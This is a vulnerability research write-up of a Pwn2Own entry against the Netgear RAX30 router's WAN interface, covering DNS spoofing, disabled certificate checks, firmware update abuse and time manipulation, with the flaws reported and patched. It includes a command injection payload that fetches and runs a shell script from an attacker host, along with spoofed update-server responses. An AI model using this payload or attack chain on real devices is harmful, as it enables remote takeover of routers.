Our Pwn2Own journey against time and randomness (part 1)"

Quarkslab participated in Pwn2own Toronto 2022 in the router category. This blog post series describes how we selected our targets, performed our vulnerability research, and goes over our findings on the Netgear RAX30 router. The first blog post focuses on our vulnerability research on the RAX30 WAN interface, while the second part will detail the research performed on the router's LAN.

Disclaimer: All vulnerabilities shown in this blog post have been reported to Netgear.

The Pwn2Own Contest

Pwn2Own is a worldwide contest that includes multiple targets such as automotive, routers, domotic equipment, and operating system, among others. The goal is to exploit these devices and gain root access in less than five minutes.

We participated in the router category with a team of 3 members:

  • Cryptocorn (Eloïse Brocas);
  • Madsquirrel (Benoît Forgette);
  • Virtualabs (Damien Cauquil).

To go deeper into the rules for local devices, only one type of vulnerability was accepted: remote code execution. For the routers category, there were two possible vectors: via LAN and WAN, with a higher cash prize for the latter.

The WAN (Wide Area Network) is the side connected to the Internet, which means that anyone from around the world can access it. In comparison, the LAN (Local Area Network) can only be accessed by devices directly connected to the router, and these devices can communicate with other devices connected through the LAN.

Organization to prepare our research

timeline

For this research, we took about a month to choose our targets, which seems long in retrospect. To prepare Pwn2own, what seemed the most important to us was to establish a scrupulous methodology that would allow us to check a large number of entrypoints/vulnerabilities, probably in a first step without buying the hardware, based on the firmware files available for download on the vendor website. Once we have a valid methodology we can automatize as many tasks as possible and run these automated tests again a set of targets, thus optimizing our efficiency.

As you can see on the above timeline, many vulnerabilities have been found in a very short time but most of them were fixed by Netgear's hotfix. Vulnerabilities that are easy to find, also known as "low-hanging fruits", are the first ones to be found by competitors as well as the first ones to be fixed by the vendor, but still can be very useful in some attack scenarios. Therefore, we cannot simply rely on this kind of vulnerabilities to compete at Pwn2own because there is a high probability that other teams may find them too, but also that Netgear fixes them just before the contest starts (spoiler alert: they did).

Complex vulnerabilities however can be difficult to trigger and exploit, and the time required to develop a reliable exploit may impact our capability to craft an attack scenario based on them. Especially when you start your vulnerability research a few weeks before the contest. So we may have no choice but to find both types of vulnerabilities, and cross our fingers the device would be still vulnerable on D-day.

WAN vulnerabilities

Pandora for the automatization to find DNS Spoofing attack

As part of our daily work, we analyze plenty of firmware files. This task is time-consuming given the variety of manufacturer and firmware formats. Quarkslab has built a framework called Pandora to help with this task. This framework helps extract the filesystem and analyze it by providing a programmatic API to automatize some analyses. It notably enables comparing some firmware versions to extract key differences.

To make the analysis as efficient as possible in a short time, we have chosen to focus on one possible attack. In the context of Pwn2own, the scope was restricted to attacking the target WAN interface. Moreover, no service was exposed on the WAN side restricting, even more, the potential attack surface of the device. Furthermore, the router can be potentially disconnected from the internet without any device connected to it. Thus, a well-known remaining attack vector is DNS spoofing which allows MITM attacks to be performed.

If successful, a DNS spoofing attack replaces an IP address reached by the router with the attacker’s one. For instance, if the router queries the IP address of dns.google.com that normally resolves to 8.8.8.8, a malicious user present on the same network may intercept this query and send a spoofed answer telling the router this name resolves to 10.10.0.1, an IP address corresponding to another machine present on the same network. The router then may connect to a rogue system and access what seems to be a legitimate service, while it is owned by an attacker and can be used to perform multiple attacks.

Nowadays most servers use authenticated and encrypted protocols like HTTPS to prevent these attacks. As expected, most of the URLs used by this router rely on HTTPS. However, even though a certificate is associated with a server to prove its identity, the client still has to check it. For instance, curl ensures the remote server presents a valid certificate unless provided with the -k option which skips this check:

curl -k https://google.com

As the certificate is not verified, an attacker in a MiTM position can present a self-signed one and it will go unnoticed by the client that will not realize that the service it is requesting is malicious.

To identify this weakness in executable files, we need to identify not only calls to curl with the -k option but also all calls to the libcurl library with the appropriate options. Fortunately, curl has an option to generate a code snippet of the command line call, by running:

curl --libcurl test.c -k https://google.com

The resulting file test.c contains the following code snippet:

/********* Sample code generated by the curl command line tool **********
 * All curl_easy_setopt() options are documented at:
 * https://curl.se/libcurl/c/curl_easy_setopt.html
 ************************************************************************/
#include <curl/curl.h>

int main(int argc, char *argv[])
{
CURLcode ret;
CURL *hnd;

hnd = curl_easy_init();
curl_easy_setopt(hnd, CURLOPT_BUFFERSIZE, 102400L);
curl_easy_setopt(hnd, CURLOPT_URL, “https://google.com”);
curl_easy_setopt(hnd, CURLOPT_NOPROGRESS, 1L);
curl_easy_setopt(hnd, CURLOPT_USERAGENT, “curl/7.85.0”);
curl_easy_setopt(hnd, CURLOPT_MAXREDIRS, 50L);
curl_easy_setopt(hnd, CURLOPT_HTTP_VERSION, (long)CURL_HTTP_VERSION_2TLS);
curl_easy_setopt(hnd, CURLOPT_SSL_VERIFYPEER, 0L);
curl_easy_setopt(hnd, CURLOPT_SSL_VERIFYHOST, 0L);
curl_easy_setopt(hnd, CURLOPT_FTP_SKIP_PASV_IP, 1L);
curl_easy_setopt(hnd, CURLOPT_TCP_KEEPALIVE, 1L);

/* Here is a list of options the curl code used that cannot get generated
as a source easily. You may choose to either not use them or implement
them yourself.

CURLOPT_WRITEDATA set to an objectpointer
CURLOPT_INTERLEAVEDATA set to an objectpointer
CURLOPT_WRITEFUNCTION set to a functionpointer
CURLOPT_READDATA set to an objectpointer
CURLOPT_READFUNCTION set to a functionpointer
CURLOPT_SEEKDATA set to an objectpointer
CURLOPT_SEEKFUNCTION set to a functionpointer
CURLOPT_ERRORBUFFER set to an objectpointer
CURLOPT_STDERR set to an objectpointer
CURLOPT_HEADERFUNCTION set to a functionpointer
CURLOPT_HEADERDATA set to an objectpointer

*/

ret = curl_easy_perform(hnd);

curl_easy_cleanup(hnd);
hnd = NULL;

return (int)ret;
}
/**** End of sample code ****/

In particular, the 2 following options are of interest:

  • CURLOPT_SSL_VERIFYPEER
  • CURLOPT_SSL_VERIFYHOST

They are set to 0 when the -k option is enabled. Thus, we just need to identify all the binaries present in the firmware calling some specific functions exported by libcurl with these options set to 0.

IDA Scripting: Finding libcurl Calls with Vulnerable Options

Using Pandora, we listed the binaries importing libcurl using the lief analysis. Then we wrote an IDA script to analyze the options used by these calls and finally, we identified a list of vulnerable binaries:

  • /usr/bin/bst_daemon;
  • /usr/lib/libfwcheck.so;
  • /usr/bin/fing_dil;
  • /usr/bin/csh.

We also noticed that the libfwcheck.so library uses insecure HTTPS requests through libcurl. The faulty code is located in the fw_check_api function of libfwcheck.so. This function updates the endpoint base URL to download firmware and uses libcurl to query a remote web service with the following JSON content:

{
    "token":"%s",
    "ePOCHTimeStamp":"%s",
    "modelNumber":"%s",
    "serialNumber":"%s",
    "regionCode":"%u",
    "reasonToCall":"%d",
    "betaAcceptance":"%d",
    "currentFWVersion ":"%s"
}

When looking at the options provided to libcurl, we identified the flag number 64 (CURLOPT_SSL_VERIFYPEER) and 81 (CURLOPT_SSL_VERIFYHOST), both set to 0. As explained before, these parameters allow an attacker to perform a MITM attack and spoof the target servers.

Curl call from function fw_check_api of library libfwcheck.so

Thanks to that function, we could impersonate the server through DNS spoofing and extract the target model, serial, and current firmware version. We then can send back an answer that will be processed by the router. Let's have a look at the code in charge of parsing this answer, located in the fw_check_api function.

Parsing of response done by netgear server

The parser uses the cJson library to process the response sent by the server, which is made of 2 elements: a status and a specific URL. The string url is then copied only if the status is 1. Interestingly, we can now change the URL written in this file, but we do not know where it is being used yet.

To achieve that, one can list all the binaries using this function. We focused on the pucfu binary, as shown below:

Copy of the URL retrieve inside the file /tmp/fw/cfu_url_cache

The binary calls the get_check_fw command and then stores the URL in the /tmp/fw/cfu_url_cache file.

After a quick research, we identified two executable files that access this specific cache file:

  • puraUpdate;
  • pufwUpgrade.

WAN RCE: command injection via OTA

When we analyzed the puraUpdate and pufwUpgrade binaries, we identified a function called DownloadFiles that is called with the URL read from the cfu_url_cache file.

The following decompiled code shows how the URL read from this file is used to generate a system command using curl, in the DownloadFiles function:

snprintf(curl_to_exec,500,
             "(curl --fail --cacert %s %s
             --max-time %d --speed-time 15
             --speed-limit 1000 -o %s 2>  %s;
             echo $? > %s)",
         "/opt/xagent/certs/ca-bundle-mega.crt",
         url,
         param_4,
         param_2,
         "/tmp/curl_result_err.txt",
         "/tmp/curl_result.txt");

The url parameter is directly used inside this command line that would be executed later as a shell command. So if we provide an URL like the following:

http://10.10.0.1/;curl http://10.10.0.1/a.sh -o /tmp/a;chmod +x /tmp/a;/tmp/a;echo

The final command executed would be the following:

curl --fail --cacert /opt/xagent/certs/ca-bundle-mega.crt http://10.10.0.1/;curl http://10.10.0.1/a.sh -o /tmp/a;chmod +x /tmp/a;/tmp/a;echo
             --max-time %d --speed-time 15
             --speed-limit 1000 -o %s 2>  %s;
             echo $? > %s

In summary, we can impersonate a specific web service using DNS spoofing from WAN side, and force the router to connect to our rogue server that returns a specifically-crafted URL that then is stored in a temporary file. This same temporary file is then used by another program to access our rogue web service with certificate validation enabled (that fails), but also another curl command that has been injected in the temporary file. This command triggers the download of a malicious shell script that is then executed on the target system, achieving remote code execution.

Last-minute patch

Sadly, Netgear issued a hotfix the day before the submission deadline. The latest firmware version now uses execve() to avoid this nasty shell escape vulnerability:

execve("/bin/curl",__argv,(char **)is_https);

The parameter url is now understood by the system as a parameter in its whole and not part of the shell command line anymore.

WAN RCE: OTA of RAE binary

If we take a bigger picture of this DownloadFiles function, we can see that certificates are only verified when the provided URL begins with https. But as seen previously, we can downgrade from HTTPS to HTTP, thus evading the certificate check:

  iVar1 = strncasecmp(url,"https://",8);
  iVar2 = access("/tmp/curl_no_verify",0);
  if (iVar1 == 0 && iVar2 == -1) {
    snprintf(curl_to_exec,500,
             "(curl --fail --cacert %s %s ...");
  }
  else {
    snprintf(curl_to_exec,500,
             "(curl --fail --insecure %s ...");
  }
  DBG_PRINT("%s:%d, cmd=%s\n","DownloadFiles",0x148,curl_to_exec);
  iVar1 = pegaPopen(curl_to_exec,"r");

Let's have a look at how puraUpdate communicates with the original server and how we can replicate the servers' behavior:

  1. it provides a UTF-16 file called fileinfo.txt, providing for each release the name, size, and MD5 hash of the corresponding file
  2. it hosts one or more files that can be downloaded by puraUpdate

Below is the content of our fileinfo.txt file:

[Major1]
file=RAE_RAX30_V2.0.0.21
md5=c77942fc8121567bfff7cd0dceb6ae9d
size=549880

puraUpdate queries this server, retrieves the fileinfo.txt file, downloads the corresponding binary file, and stores it in its filesystem and executes it.

The exploitation scheme is detailed in the figure below:

exploit_rae

Last-minute patch

After the publication of Netgear's hotfix, this vulnerability was no longer present in the latest version of RAX30 firmware. Indeed, the pucfu executable was not called anymore and was replaced by a hardcoded URL, thus avoiding any downgrade to HTTP and enforcing certificates checks.

    isWanOnline = FUN_00011e2c();
    if (isWanOnline == 0) {
      if (url == (char *)0x0) {
        local_5eb4 = "https://http.fw.updates1.netgear.com";
        DAT_00024240 = url;
      }
      else {
        DAT_00024240 = (char *)0x1;
        local_5eb4 = url;
      }
      printf("\nRAE Update server: %s\n",local_5eb4);

A short but long story of time (Netgear's hotfix)

Our last chance of successful exploitation resided in the pufwUpgrade binary that was prone to the same HTTP downgrade vulnerability but that was not patched by Netgear.

This binary calls pucfu (making sure that the certificates are valid) and then updates the whole firmware.

pufwUpgrade can be called with different parameters, especially the following:

  • -a to verify if an update should be done;
  • -s to schedule a planned task, calling this very binary with the -A option at a random time;
  • -A to perform an upgrade of the full firmware if available.

Let's focus on how pufwUpgrade -A works:

  1. it downloads 2 UTF-16 files from the remote server: fileinfo.txt and stringtable.dat;
  2. it reads those files and parses the content of fileinfo.txt;
  3. it downloads the corresponding firmware image defined in this file;
  4. it checks the hash of the firmware against the hash present in fileinfo.txt, as well as its size, and calls bcm_flasher to replace the current firmware;
  5. it reboots the router to use the newly deployed firmware.

This version of fileinfo.txt differs from the one described above in this post, as shown below:

[Major1]
file=RAX30-V2.0.8.79.img
md5=27741e1b0e75359fe42db1a405d9f008
size=64879983
o49=<MSG0001>
o64=<MSG0002>
o70=<MSG0003>
o74=<MSG0004>
[RAX30-NEWGUI-English-language-table]
file=/RAX30-V1.0.8.79_1.0.0.9-en-Language-table
CheckSum=36ad2c54efe2f698bbfc79a0f1c97d68
size=188674

This file contains the md5 hash and the size of the firmware to be downloaded, as well as some messages to give details on the changes included in the new version. It also contains a language table used for web UI localization.

When the router boots up, the pufwUpgrade -s command is called to schedule a system upgrade check in the future.

call at boot of pufwUpgrade

This scheduled task is planned at a random time, decided by the previous call to pufwUpgrade. Since this router has no real-time clock (RTC), it relies on an NTP server to synchronize its date and time once it can access the Internet. At boot time, the system date and time are set to the build time of the kernel and then the system starts its NTP client to query the current date and time. However, if no NTP server answers during boot, the system keeps its current date and time which is easily predictable. At the same time, it is difficult to guess exactly when a program is launched, since some tasks and processes may vary.

We didn't succeed in finding any network marker such as a specific packet or request to determine the time seed used to generate the random, so we stuck to the most probable value: 3h00. This is the value we observed the most after numerous reboot attempts.

call at boot of pufwUpgrade

To force the router to trigger a firmware update as soon as possible (remember, we only have 5 minutes to exploit this device), we decided to trick the router into probing a fake NTP server that would provide the expected time and force the upgrade program to be launched. To achieve this, we focused on ntpd, an executable file found in the firmware that seems to be in charge of handling NTP synchronization. In particular, we had to understand what is the best way to force a time update.

First of all, ntpd contacts the NTP servers time-h.netgear.com and time-g.netgear.com using the NTP protocol, giving us the possibility to spoof this server and manipulate the date and time... but not the timezone. If none of these servers answer, it launches the ATS executable which requests an HTTPS server to get the current timestamp and the timezone for this router, a sort of recovery plan in case Netgear's NTP servers are down, presumably.

This server is called without any certificate verification as explained before and therefore can be easily spoofed to provide this binary with specifically-crafted values. We emulated this server and returned some values in a way the router updates its date and time to a few seconds before the system update check is started:

{
  "serialVersionUID": 1,
  "_type":"CurrentTime",
  "timestamp": 1670468360,
  "zoneOffset": 0
}

This successfully triggers the system update mechanism, which in turn checks our rogue server for a new firmware image to be deployed!

So far so good, we now have a way to force the router to launch a system upgrade at will with a minimal delay between its boot and the installation of a new firmware. Well, we need a new firmware image now.

The fimware is a FIT image with a proprietary header that is used by bcm_flasher to deploy it into the router's non-volatile memory. FIT images are quite easy to parse and modify since U-Boot comes with some dedicated tools.

The proprietary header is pretty simple, it contains the version, the db_version, the board ID, and a signature. We won't cover in this first part how the signature is computed and checked because pufwUpgrade does not care at all. This signature can be left empty or with some invalid value, the upgrade process will succeed anyway.

The following schema summarizes our exploitation scenario:

exploit_wan_upgrade

The problem is this attack scenario takes about 4 minutes and a half to complete, including a reboot of the router. We only have 5 minutes to successfully exploit this vulnerability, that is a pretty tight schedule! We decided to implement a LED show that will be launched in the early boot stage, to avoid losing too much time and missing the 5-minute deadline.

The following video and animation demonstrate the exploitation scenario and will make you feel as anxious as we were during our exploitation attempts!

In the end, we attempted this exploitation scenario three times without being able to successfully compromise the router we had access to during Pwn2own... We had a lot of stress but despite all of our efforts, randomness won this time.

Article Link: Our Pwn2Own journey against time and randomness (part 1)"